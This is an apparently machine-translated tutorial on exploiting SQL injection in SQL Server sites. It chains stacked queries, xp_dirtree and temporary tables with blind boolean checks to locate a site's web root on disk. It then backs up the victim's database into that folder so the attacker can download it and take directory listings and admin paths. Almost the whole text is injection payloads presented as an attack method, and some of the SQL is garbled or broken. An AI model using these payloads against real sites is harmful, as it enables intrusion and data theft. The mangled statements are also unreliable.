Tips for getting the Web root directory quickly

web| Tips

This article is for the following environment, if not meet the following conditions, it is not suitable for the method mentioned below to get the Web root directory.

1. SQL Server allows multiple lines of statements to be executed;

2, the site can be injected;

3. No detailed error message is returned (otherwise this method is not necessary).

Based on experience, the order of the Web root directory is: D disk, E disk, C disk, first we create a temporary table to store master. Xp_dirtree (for public) The generated directory tree, with the following statement:

, CREATE table temp (dir nvarchar (255), depth varchar (255)),--, the Dir field of the table represents the name of the directory, and the depth field represents the depth of the directory. Then execute xp_dirtree to get the directory tree of D disk, the following statement:
　　
; Insert Temp (dir,depth) EXEC master.dbo.xp_dirtree ' d: ';--

Before doing the following, look at the D disk for a few folders, so there is a general understanding of the D disk, the following statement:

and (select COUNT (*) from temp where depth=1 and dir isn't in
(' Documents and Settings ', ' program Files ', ' RECYCLER ', ' System volumeinformation ',
' WINDOWS ', ' caconfig ', ' wmpub ',
' Microsoft UAM volume ') >= number (number = 0, 1, 2, 3 ...)

Next, we look at each other's web site for several levels of subdirectories, such as user, photo, and then, using a filtering method to determine whether the Web root exists on this disk, the statement is as follows:

and (select COUNT (*) from temp where dir<> ' user ') < (select count (*) from temp)

Look at the return result of the statement, if true, to indicate that the Web root directory is possible on this disk, in order to further confirm, multiple tests of several subdirectories:

and (select COUNT (*) from temp where dir<> ' photo ') < (select count (*) from temp)

...

If all of the test results are true, it means that the Web root directory is most likely on this disk.

The following assumption finds the Web root directory on this disk, using the following statement to get the depth of the first-level subdirectory:

and (select depth from temp where dir= ' user ') >= number (number = 1, 2, 3 ...)

Assuming that the depth is 3, indicating that the user directory is a level 3 directory of D disk, the Web root is a level two directory of D disk.

Now that we know the root directory of the letter and depth, to find the exact location of the root directory, we have to start from the D-Packing directory search, of course, there is no need to know the name of each directory, otherwise it is too time-consuming.

Next, create a temporary table that holds all the directories in the 1-level subdirectory of the D disk, as follows:

; Create table Temp1 (dir nvarchar (255), depth varchar (255));--

Then save all directories in the first subdirectory of the D disk to Temp1, as follows:

DECLARE @dirname varchar (255); Set @dirname = '
D:\ ' + (select top 1 dir-from (select top 1 dir) from temp where depth=1 and dir is not in (' Documents and Settings '),
' Program Files ', ' RECYCLER ',
' System volumeinformation ', ' WINDOWS ',
' CAConfig ', ' wmpub ',
' Microsoft UAM volume ' ORDER by dir desc T-Order by dir);
INSERT INTO TEMP1 exec master.dbo.xp_dirtree @dirname

Of course, you can save all the directories in the second subdirectory of D disk to Temp1, just change the second top 1 to top 2.

Now that all the directories in the first-level subdirectory of all D disks have been saved in Temp1, we then use the same method to determine whether the root directory is in this level of subdirectories:

and (select COUNT (*) from Temp1 where dir<> ' user ') < (select count (*) from TEMP1) if returned as true, the root directory may be in this subdirectory, remember to test a few more examples , if all is returned as false, then the Web root directory is not in this directory, and then we are in the same way to get to the 2nd, 3 ... of all directories in the D. subdirectory to determine if the Web root is under it. However, be aware that you must remove the contents of the Temp1 table before using the Xp_dirtree.

Now suppose that the Web root is in the first subdirectory of the D disk, the subdirectory name is website, how to get the name of the directory I don't think I need to tell you. Because we know that the depth of the Web root is 2, we need to know which is the real Web root directory under website.

Now, we use the same method to create a 3rd temporary table:

; Create table Temp2 (dir nvarchar (255), depth varchar (255));--

Then save all the directories from the website in the D disk to the TEMP2, and the statements are as follows:

DECLARE @dirname varchar (255); Set @dirname = ' d:\website\ '
+ (select top 1 dir-from (select top 1 dir. Temp1 where Depth=1 and dir not in (' Documents and Settings '),
' Program Files ', ' RECYCLER ',
' System volumeinformation ', ' WINDOWS ', ' caconfig ',
' Wmpub ', ' Microsoft UAM volume ') Order by dir desc T (by dir);
INSERT INTO TEMP2 exec master.dbo.xp_dirtree @dirname

Of course, you can save all the directories under the second subdirectory of the D-disk website to TEMP2, just change the second top 1 to top 2.

Now, we use the same method to determine whether the directory is a root directory:

and (select COUNT (*) from TEMP2 where dir<> ' user ') < (select count (*) from TEMP2)

If you return to true, to determine our judgment, test a few more examples, the method above all mentioned, if multiple examples are returned to true, then determine the directory is the Web root directory.

In the above method can basically get the Web root directory, now we assume that the Web root directory is: D:\website\www

Then we can back up the current database to this directory for downloading. Before backup, we emptied the contents of temp, Temp1, and Temp2, and then the C, D, and e disk trees were stored in temp, TEMP1, Temp2.

After downloading the database, remember to drop three temporary tables, and now we can find all the directory listings in the downloaded database, including the admin directory and more information.